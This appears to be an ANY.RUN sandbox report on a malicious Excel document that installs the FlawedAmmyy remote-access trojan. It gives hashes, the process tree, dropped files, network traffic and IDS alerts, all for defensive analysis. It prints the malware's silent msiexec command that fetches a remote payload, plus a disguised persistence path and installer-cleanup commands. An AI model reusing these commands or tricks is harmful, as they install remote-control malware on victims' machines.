File name: | 20180423 출납일보.xls |
Full analysis: | https://app.any.run/tasks/f2ea1b9f-dced-41b0-a1a5-86495cdb623c |
Verdict: | Malicious activity |
Threats: | FlawedAmmmyy is a RAT type malware that can be used to perform actions remotely on an infected PC. This malware is well known for being featured in especially large campaigns with wide target demographics. |
Analysis date: | April 23, 2019, 23:24:57 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-excel |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Tue Apr 23 21:28:39 2019, Security: 0 |
MD5: | EF44ED891CB62ADEA7099325CB35AE6C |
SHA1: | 9F0228323E3230F352DC82CA5DA56986F48EEDBE |
SHA256: | 5B2AADA3F4D3B5F4D007BAE0EB5A36398921183F977BE2E3820F09EDA58CFBF5 |
SSDEEP: | 6144:uKpb8rGYrMPelwhKmFV5xtuEsgrdg4UQuBMdbh3hvtBznDEBgMh2Vwow/6499Jtt:B3MoVB/EtG/Cjtfcy |
.xls | | | Microsoft Excel sheet (78.9) |
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HeadingPairs: |
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TitleOfParts: |
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HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 16 |
Company: | Microsoft Corporation |
CodePage: | Windows Cyrillic |
Security: | None |
ModifyDate: | 2019:04:23 20:28:39 |
CreateDate: | 2018:12:19 10:42:12 |
Software: | Microsoft Excel |
LastModifiedBy: | 1 |
Author: | Microsoft Office |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
1892 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000 | ||||
3152 | msiexec.exe STOP=1 /i http://27.102.118.143/dom1 /q ksw='%TEMP%' | C:\Windows\system32\msiexec.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
916 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
2176 | "C:\Windows\Installer\MSI71B4.tmp" | C:\Windows\Installer\MSI71B4.tmp | msiexec.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
1360 | "C:\ProgramData\Microsofts HeIp\wsus.exe" | C:\ProgramData\Microsofts HeIp\wsus.exe | MSI71B4.tmp | |
User: admin Company: Gravity Integrity Level: MEDIUM Description: Gravity Protect Version: 7.3.1.1 | ||||
3856 | "C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI71B4.tmp >> NUL | C:\Windows\system32\cmd.exe | — | MSI71B4.tmp |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
920 | "C:\ProgramData\Microsofts HeIp\wsus.exe" | C:\ProgramData\Microsofts HeIp\wsus.exe | — | taskeng.exe |
User: admin Company: Gravity Integrity Level: MEDIUM Description: Gravity Protect Exit code: 0 Version: 7.3.1.1 | ||||
4076 | "C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI71B4.tmp >> NUL | C:\Windows\system32\cmd.exe | — | MSI71B4.tmp |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) |
PID | Process | Filename | Type | |
---|---|---|---|---|
1892 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR5CF0.tmp.cvr | — | |
MD5:— | SHA256:— | |||
916 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DF70AB73BAE5B5B47C.TMP | — | |
MD5:— | SHA256:— | |||
916 | msiexec.exe | C:\Config.Msi\e701d.rbs | — | |
MD5:— | SHA256:— | |||
916 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DFFFF5BDA1550E7193.TMP | — | |
MD5:— | SHA256:— | |||
2176 | MSI71B4.tmp | C:\ProgramData\Microsofts HeIp\template_110b318.DATAHASH | binary | |
MD5:7DB165D593D7FCA58C44FA132E1E8283 | SHA256:C2509B73DFFAE9FF0750C8F10FDA433C51212AA73898F57876418CD2252E427E | |||
916 | msiexec.exe | C:\Windows\Installer\e701c.ipi | binary | |
MD5:39ED70CBFE620F149ECE6F28B9B2AC94 | SHA256:1D867DE41816D9E59F46B85DDBD335B2210114F3F67B99D6122DBA13F39B3147 | |||
916 | msiexec.exe | C:\Windows\Installer\MSI6B29.tmp | executable | |
MD5:15524A83BFD4D2FDEE1239CC63113850 | SHA256:50F300BF2E87A2063EEE32867B1D7F41F55F67CEC0B2F26D2D6766DCF7C459A6 | |||
2176 | MSI71B4.tmp | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\1[1].tmp | binary | |
MD5:7DB165D593D7FCA58C44FA132E1E8283 | SHA256:C2509B73DFFAE9FF0750C8F10FDA433C51212AA73898F57876418CD2252E427E | |||
916 | msiexec.exe | C:\Windows\Installer\MSI71B4.tmp | executable | |
MD5:DF03E73C0BCA68C25B7FCDD9E5912601 | SHA256:388769CFE8894C84CCE9DE27EA27F31FDEEC5178DB3C27CB6E969225E7BC4669 | |||
916 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.dat | dat | |
MD5:75AD4C404A9930BCBCBD90FF29BA395D | SHA256:B54C157BF0697A6895400481EE9DC1076EE6BC1C8130E086BC75C03B42F4B235 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
916 | msiexec.exe | GET | 200 | 27.102.118.143:80 | http://27.102.118.143/dom1 | KR | executable | 156 Kb | suspicious |
2176 | MSI71B4.tmp | GET | 200 | 160.202.162.147:80 | http://160.202.162.147/1.tmp | KR | binary | 627 Kb | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
916 | msiexec.exe | 27.102.118.143:80 | — | DAOU TECHNOLOGY | KR | suspicious |
1360 | wsus.exe | 169.239.128.119:80 | — | Zappie Host LLC | ZA | malicious |
2176 | MSI71B4.tmp | 160.202.162.147:80 | — | Korea Telecom | KR | suspicious |
PID | Process | Class | Message |
---|---|---|---|
916 | msiexec.exe | Misc activity | SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file |
916 | msiexec.exe | Potential Corporate Privacy Violation | POLICY [PTsecurity] Executable application_x-msi Download |
2176 | MSI71B4.tmp | A Network Trojan was detected | ET CURRENT_EVENTS MalDoc Request for Payload (TA505 Related) |
1360 | wsus.exe | A Network Trojan was detected | MALWARE [PTsecurity] FlawedAmmyy.RAT |
1360 | wsus.exe | A Network Trojan was detected | MALWARE [PTsecurity] AMMYY RAT |
1360 | wsus.exe | A Network Trojan was detected | ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin |
1360 | wsus.exe | A Network Trojan was detected | MALWARE [PTsecurity] FlawedAmmyy.RAT Checkin |
Process | Message |
---|---|
MSI71B4.tmp | C:\ProgramData\Microsofts HeIp\template_110b318.DATAHASH |
MSI71B4.tmp | 1 |